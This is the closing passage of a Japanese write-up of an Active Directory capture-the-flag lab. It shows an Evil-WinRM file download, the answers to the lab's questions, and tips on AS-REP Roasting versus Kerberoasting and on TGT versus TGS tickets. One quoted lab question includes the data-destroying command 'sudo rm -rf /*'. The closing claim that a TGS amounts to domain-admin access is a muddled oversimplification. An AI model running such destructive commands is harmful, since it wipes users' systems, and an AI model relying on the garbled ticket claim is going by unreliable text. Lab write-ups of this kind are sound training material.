Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/25/2021 10:13 AM 449195 top_secret.png
*Evil-WinRM* PS C:\Program Files\Top Secret> download ./top_secret.png
Info: Downloading C:\Program Files\Top Secret\top_secret.png to top_secret.png
Info: Download successful!
画像を閲覧すると、Vimエディタにおいてファイルを保存(write)して終了(quit)するコマンド :wq を示唆することが書いてあり、:wqが答えとなる
What is the complete top secret?
Answer:
:wq
Did you like your cookie?の後に、謎のことが書いてありますが、ハッカーとしての心があるなら、すぐ答えることができるでしょう。(実際は、消さないでね)
Say Yes or I will do
sudo rm -rf /*on your PCAnswer:
Yes
終わり
久しぶりに、Windows Server(AD?)みたいなラボを解きましたが、面白いですよね
ただ、LLMの進化が凄すぎて状況を聞くだけで割とスムーズにペンテストできるのはなかなか便利になった時代です。けど、なんだかんだTry&Errorの繰り返しが多かったので、知識ない人が使うと遠回りになる気がしました。
次は、Operation Endgameのラボについてもwriteupを書くので、良かったら参考になると嬉しいです。
Active Directory PentestにおけるTips
AS-REP Roasting と Kerberoastingの違い
よくActive Directory環境のペネトレーションテストにおいて、いろんなハッシュが出てきますが、非常にややこしく感じます。
AS-REP Roastingで引き抜けるAS-REP HashとKerberoastingで得られるハッシュでは全く役割が違います。以下のような表がわかりやすいと思います。
| 項目 | AS-REP Roasting (Tyson / twilliams) | Kerberoasting (sbradley 等) |
|---|---|---|
| 特徴 | 事前認証なしのユーザーを悪用 | SPN を持つサービスアカウントを悪用 |
| 主な対象 | 「事前認証不要 (DoNotRequirePreauth)」設定のユーザー | SPN (Service Principal Name) が設定されたユーザー |
| 攻撃のタイミング | 認証の最初のステップ(AS-REQ に対する応答) | サービス利用時(TGS-REQ に対する応答) |
| 盗むもの | AS-REP 応答(ユーザーのパスワードで暗号化された部分) | TGS(Service Ticket / サービスチケット) |
| 暗号化の鍵 | ユーザー自身のパスワードから生成された鍵 | サービスアカウントのパスワードから生成された鍵 |
| ハッシュ形式 | $krb5asrep$23$... |
$krb5tgs$23$... |
| 主なツール | GetNPUsers.py (Impacket) | GetUserSPNs.py (Impacket) |
こうやってみると、AS-REP Roastingで得られるパターンは、そもそも認証すらしていないため、Active Directory内にまず侵入していません。一方、Kerberoastingで得られるパターンは認証済みの資格情報を持った上で、Active Directoryで使用されるチケットを発行しようと試みます。
そのため、AS-REP Roastingは割と序盤で検証し、Kerberoastingの場合はそもそも認証済みであろう資格情報(SPNアカウント)があったときに、検証ができます。
TGT(Ticket Granting Ticket) とTGS(Ticket Granting Service) の違い
Active Directory環境のペンテストをしていた際に、TGSやTGTを取れることがあるかもしれません。よく混乱しがちなことがあるので、軽くまとめておきます。
| 特徴 | TGT (Ticket Granting Ticket) | TGS (Ticket Granting Service) |
|---|---|---|
| 日本語訳 | チケット認可チケット | サービスチケット |
| 例え | ホテルの入館証(パス) | 各客室やプールの鍵 |
| 有効期限 | 長め(デフォルト10時間程度) | 短め(リソース使用時のみ) |
| 宛先 | ドメインコントローラー (KDC) | 各サーバー(ファイルサーバー等) |
| 発行回数 | ログオン時に1回 | サービスを利用するたびに毎回 |
今回のラボにおいて、TGSを取得した後に、root権限昇格を狙ったパターンがありました。それはTGSを取得できるということは、実質ドメインコントローラアカウント(Administratorの権限を持つアカウント)にアクセスするための事前チケットを取得しているようなものであるため、上記のような権限昇格が行えるわけです。
ややこしいですよね